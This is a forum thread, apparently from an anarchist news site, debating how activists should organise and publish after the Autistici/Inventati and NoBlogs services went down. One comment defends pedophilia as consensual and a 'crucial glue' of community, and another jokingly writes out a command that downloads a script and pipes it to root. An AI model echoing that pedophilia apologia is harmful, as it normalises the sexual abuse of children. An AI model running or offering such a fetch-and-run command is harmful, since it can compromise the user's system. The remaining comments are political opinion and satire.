TOTW: Going Dark

just speaking for myself, there came a time when conversations in person were becoming more difficult because the people I was talking to referred to online "conversations" they were having more than they were the conversations we were having in person. It seemed that those online message boards had all the cool people on them and our rinky-dink study group just could not compare. So, either I tried to join those online chats or I was out of the loop. It was also to my disadvantage that my job was not in tech because apparently when you work in tech you have lots of time to post to those cool message boards and to work up the inside jokes that us losers only in IRL space don't deserve to know about.
Ah, but this was 20 years ago and even IRL is online mostly now, much to all our chagrin. Sadly, the inside jokes are still not funny at everyone's expense.

1) i think the growth of the internet happened because many people thought they might reach a few hundred people more than they were accustomed to with zines and such.

2) i prefer bookfairs and campouts! And meetups at Rainbow Gatherings!

3) i think that anarchists (and other political challengers) will systematically be dealt with in the same ways that the "pedophiles" are dealt today (or any other group suppressed due to its power spot POTENTIAL; pedos, practicing consensual relations and minus the neocolonial reductionist term and hysteria, originally were a 'crucial glue' in meaningful community; and have been mis-identified for very good propaganda reasons!)

Thus, the pedo is "the canary in the coal mine" here as well.

Today's new fascists will de-platform your organization systematically and they will sic their legions of psy op tools upon you. You will be forced to work hard to "weed them out" in your forums as they will come at you with all the hysteria that "good" propaganda can easily wage these days.

In a few years, if no other tasty scapegoat is found, they will be "hunting" you and have a large force of budding fascists (tossed aside as soon as their 'use' is over) eager to do the ground work. They do not have permission to think. And they will do as they are Told, not seeing how they will be ultimately betrayed as soon as their "use" is not needed.

not all of us have "become reliant on the digital sphere for communication and it may be fair to suggest we've lost some of the hard and soft skills of being offline."
some of us never became slaves to technology, like most. it was a choice.
i can't help but feel like y'all were warned about all this for years (if you couldn't use your own eyes, heart, and brain to see it yourself) that technology, specifically cyber-reality, more specifically your phone, is nothing but slavery to their world, the emptiest version of it.
i come here (anews) to waste time at work (the few hours a week that I do in a specific terrain) and push on what has become a leftist anarchist shit-show, otherwise, this whole techno-focused reality here has always been alien shit to me.
hard to feel sorry for y'all...

the solution isn't abandoning the internet, whose global reach anarchists of yore would have killed to have, but to decentralize further and make data redundant by mirroring information across multiple groups and servers. NoBlogs isn't the only way to publish things on the internet without social media, it is literally just a website for blogs. that's not a complex undertaking and almost any tech-inclined anarchist can make a host for a few blogs; it never made sense to centralize everything on A/I infrastructure

1. Anarchists were present on the internet before it was the internet: if you read a lot of RFCs and IETF mailing-list traffic you can see anarchism in there.
Much of the "modern" internet runs on the collection of software maintained by the Debian Project and/or its various derivatives. Debian was founded and runs on anarchic principles. It has many 'out' anarchists among its members (shout out to anarcat) and its operating principles exclude mechanisms by which one may coerce or control another. Debian had been going since 1994 and it's likely that most of the computers ever put into service run Debian or a derivative, especially if you include virtual machines and containers.

2. Seconding "Rainbow Gatherings", though the Family is either dispersed or has abandoned internet afaict.
Political parties suck as parties. The music is bad, everyone is dressed the same (like a wonk) and they are all lying all the time. If politics was about working together instead of Who Gets Killed then the parties would be more like actual parties. Instead they resemble police cotillions where the fancy people go to show they Support the Blues.
Even before internet, anarchists had the tech to do the following:
Designate places to meet ahead of time and distribute this information selectively
Organize squats, feeds, meets and persistent-ish organizations i.e. Food Not Bombs which come and go at need
Web 2.0 added the ability to be constantly tracked via automated surveillance, and all the other goodies that come from letting untrusted, unknown parties run arbitrary software on your computer, albeit in a "sandbox" with low walls. Also it was shiny and you didn't have to wait for pages to reload, which is why every webpage is 100MB now. At least people have finally stopped downloading random executables and running them, right?
Right? None of you are doing a `curl https://github.com/evilprogram.sh > sudo bash' anymore?
lolsob, as the old kids say

in future, as at present, "free speech warriors" will suppress anarchist speech.
"human rights" protectors will violate human anarchists.
those who uphold "rule of law" will break the law and impose their own rule in order to suppress anarchism.

anarchists everywhere will be labeled "criminals" for things like moving papers around and holding signs, while fascists get away with literal murder.

the cops among your friends and family will smile in your face while they plot your capture and torture.
you know, the usual. internet is just another tool to an oppressor...

but universal machines are universal, the network is a computer, and the internetwork is computable.
3. internet is for & by anarchism, facebook is a cage.
'social media' allowed anarchism early on for growth.
platforms will continue to clamp down.
governments will continue to murder and imprison people, since that is what they do.
anarchists should use tools of anarchism:
ad-hoc organizing, consensus decides, low friction entry/exit, trust management, anonymity culture, but mostly love

on internet this means decentralized, "Free Software" tools that need no central server and communicate in ways that are difficult to intercept. There are a great many of these, nerds i love have been working on them for decades. They are hard to use because the users have all had similar backgrounds except the ones who bounced off the project before giving feedback. Projects which have overcome this problem are widely-used and easy.
Anarchists need to find each other and to organize, they do not need "reach". The more reach, the more pissed-off normies and fascist list-makers.

building websites and hosting them on virtual private servers can all be done anonymously and paid for using literal gift cards purchased in cash. it's only a question of knowing how to design the website but probably someone in your social world, if you are indeed an anarchist who does stuff and thus needs a website for it, knows how to help you build a website. noblogs was awesome but we kind of just need like a simply replicable design that a bunch of sites host in a more decentralized way.

Imitating the only piracy/streaming sites is probably the way to go.

OooOooh yoU fooooOOLs all seething with techboy angst, whilst I (nyuk nyuk nyuk) live in the boondocks and have my beloved homing pigeons to convey messages,,,some of them urgent, but mostly of the most banal and petty content, like when I'm going into town for supplies to meet up with friends.
By the way, it's not the Feds who concern me, it's the mighty peregrine falcon that keeps me up at night.

1. Anarchists are suckers like any other shopper-subject within capital. Didn’t fall the information highway freedom ad campaign, did you? lol
2. Covens’ councils in the forest.
3. Two camps will form, smart ones ditch DARPAnet, the geeks cannot let go of tumblr and twitter and will perish. This has probably already happened.

yes, anarchists are more like everyone else than anyone seems to want to admit. the internetification of everything has seen people drawn into echo chambers and anarchists were ironically in the avant- garde; “we just HAVE to be online” and this grew partly out of the fact that a lot of radicals were already focused on the increasingly rarified and far flung “communities” of their ideological cohorts.

seriously… touch grass and meet your neighbors. they’re all still there. not to preach and convert through activism or radical charity work, but just to have an ounce of credibility when you talk about changing the world, and to have some kind of actual life and community.

some anarchists have done great work bringing together marginalized and dissenting humans to do some amazing , useful and creative stuff. others have withdrawn further into rigidified activist ghettos, and don’t care how many people they lose in the process. too focused on personal purity and activist busywork. social media attention is always there for comfort, a totally surveilled simulacrum of community which reinforces the most pernicious, commodified and alienated sense of individual identity. i’m not saying there’s zero good content online but that’s not the point. yes, it points to going the way of the rest of the herds. the internet was precisely sculpted to reinforce and deepen this reign of separation, the increasing, consumeristic division of increasingly meaningless segments of the “public”(or the “market”). and just the same i guarantee you don’t need to go to that regional meetup or big protest or whatever. you would be better off, and become more socially skilled and mentally healthy if you can face the people around you, regardless of their “beliefs” or the political coding of their behavior.

speaking of all this, has moxie who made signal been cancelled yet or what? are they still an anarchist? did they get rich off it? are we proud of what they’ve done; or is it a signpost indicating the exact wrong direction?

this is WAR!! moar serverz!!!!!!!!!!!!!!!!!!

there’s going to be anonymous hosting for a while after this now, it’s not as plug and play but sites like njalla work good and the knowledge needed is novice level so one person in a scene could skill up easy. noblogs was good plug and play tho.

In terms of in person stuff, I think weekly dinners are nice at rotating houses so that it doesn’t come to insular, you can use an announcement only Signal group for that. And then book clubs and thinking clubs are like just so great you build counter worlds together and build rapport that can easily cross into going postering etc to build trust. and then…….

Autistici/Inventati did not fall. They were harvested. The state designates infrastructure it cannot penetrate as part of the antifa terrorist enterprise. A tech collective running encrypted email servers in Italy was never a threat because of what they did. They were a threat because of what they enabled: international enterprise. Distribution without permission. Entrepreneurial maneuvers of market mobilization beyond the culture industry's capacity of identity politic lead conversion.

The international market analysis facilitated by NoBlogs was, much like anthropic, a bubble running on borrowed time. The distroist warrior knew this. The distroist warrior has always known this.

The distroist warriors are those of us who already know that distroism has nothing to do with zines. The Distroist International is the enterprise which realizes the anarcho-grindset. The sad passions of the broke moralists and their mutual aid requests will never "go dark" for they have never known the light.

We tell the others this fundamental truth time and time again, and still they laugh, and they roll their eyes, and they reference dumb twitter bits while crying out, "Oh, HaHa! You are so silly, so very silly!"

Let us tell the others once more, this time with our voices hushed and our faces doured. Let us tell the others once more, this time with our trembling hands on their shoulders and our tired eyes peering straight into the windows of their stinky soul.

Distroism has nothing to do with zines.

There will be an uncomfortable moment. The others' faces will fall, from bemusement to concern, "...you-you're serious?" they stutter, pathetically. We distroist warriors remain stoic remain grounded remain still and lock our eyes with theirs, and we do not reply.

The others scan our table spread, desperate to pick up on some missing hint of irony. They point to *The Angle Grinder of Revolution: Against the Commuter and its World*, and they ask the wrong question again, their voices now turning from concern to disgust, "so... are you saying that this isn't a joke? Bike theft for cash in hand today is... good?"

And we do not reply.

The event is loud; whatever it is, the event is the only place where we really ever see the others these days. The crusters are d-beating, or the DJ is bumping, or the benefit is mutual-aid-requesting... yet amidst the racket, our silence reveals the racket . But the others are not all afraid of disorientation, of spinning round and round until the right question is revealed for they too may have once been anarchists. And they too have learned that, sometimes, it is best to try asking a different question.

"So... what is ditroism?" the very instant the right question reaches their lips, the others will already know the answer. "Oh..." the others pause, lowering their voices to a whisper. "The secret."

"Yes," we nod, "the secret."

XVII. The Decision

The distroist's first point of departure is a decision: the decision to ask, answer, or provoke the question. After all, for there to be a distro it is known that the distroist must be decided.

"...IS THIS DISTROISM?"

The decision to ask, answer, or provoke the question is what distinguishes the distroist warriors from the others with distros. When we wake up in the morning and put our feet on the ground we must have a good reason for getting up. If we don't, it makes no difference whether we are distroist warriors or not. We might as well stay in bed and sleep. And to have a good reason we must know what we want to do because for distroism, for the distroist warrior, there is no difference between the decision and the question, but there is a continual reversal of questions into decisions and decisions into questions. That is what's called the distroist tension, that place between the zines we read and decisions we make. That is what makes the distroist warrior unlike someone who has another concept of life and crystallizes this concept in a political practice, in political theory.

And so I leave you with this:

When the clamoring of activists bragging about "going dark" and "starting a distro" reaches its fever pitch, and a thousand "distros" bloom, remember to ask yourself...

Is this distroism?

And remember that distroism has nothing to do with zines.

is it me or this is like a meta-totw??

anyway

1) the internet is great. it was without the least of doubts a big factor in the development of the anarchist world in the last 30+ years. it is still now (very) relatively free and accessible and even kinda useful for stuff that we actually give quite a shit about. and it's still a great resource for tons of things, you know?? and also one of the very few things that keeps making sense in this shithole we inhabit where every single day by now it all has less a logic or meaning

2) we need times and places to do our shit!!! we absolutely need to band to achieve even the pettiest of set-ups we can scramble in this world. like people who love music should get places to do that together, or those of us who like to work out should organize to do it safely amongst ourselves, and so on. Different activities could take place in the same place at different times, and thus a place gets orderly, alive, central to many and lot a less likely to be successfully attacked by the enemy. Or, a group could decide to not be limited to a place and organize one-time events in scattered places of a city or region, thus allowing for a good equilibrium between consistency and multiplicity, and probably more fun. The point is not the precise event we would take part in, nobody cares about that now, we'll deal with that shit once we're finally up and running to do something, and everyone will go after what they mostly know or like or care about anyway as usual
3) i don't know about you but i find all this noise about A/I a little too much. Like we're not even able to put up such basic tools for ourselves anymore. Like if most (self-proclaimed) anarchists nowadays would really still be going after indipendent info and good tools, and not doomscrolling on some despicable niche bubble-network like any fucking normie. I mean, Palestine Action was declared a terrorist organization and closed (and put to jail!!), for actually having come out and done something, a long time ago (and not by fascist Trump) and i didn't ear all these tears flowing from you guys. For your information, in the US there is now officially a new Gestapo deporting thousands to inhumane detention centers, while general warfare is about to involve most of the populated planet.
Personally, I'm amazed to think that something so small as A/I made it to last for so long, sustaining such a huge infrastructure (and all its costsss payed in $$$) throughout the world from what is by all accounts one of the least developed and most repressive states of Europe at the same time. They had been hit quite hard a few times by the enemy and always found new ways to come up on top. Like they said, we just need more people doing this kind of basic stuff, much more, much smaller servers running everywhere.

those who are interested for the internet they will transform their fight for example into decentralization or maybe usage of dark web email/web/wordpress servers... so, communication and sites can be decentralized and more anonymous. but time will be needed for that and we will have to follow where are websites we followed to read news for example... after some time, fight continues on all fronts, including the internet...those who are not so much active on the net, they will not see any difference, american mussolini and his toadies will not achieve anything...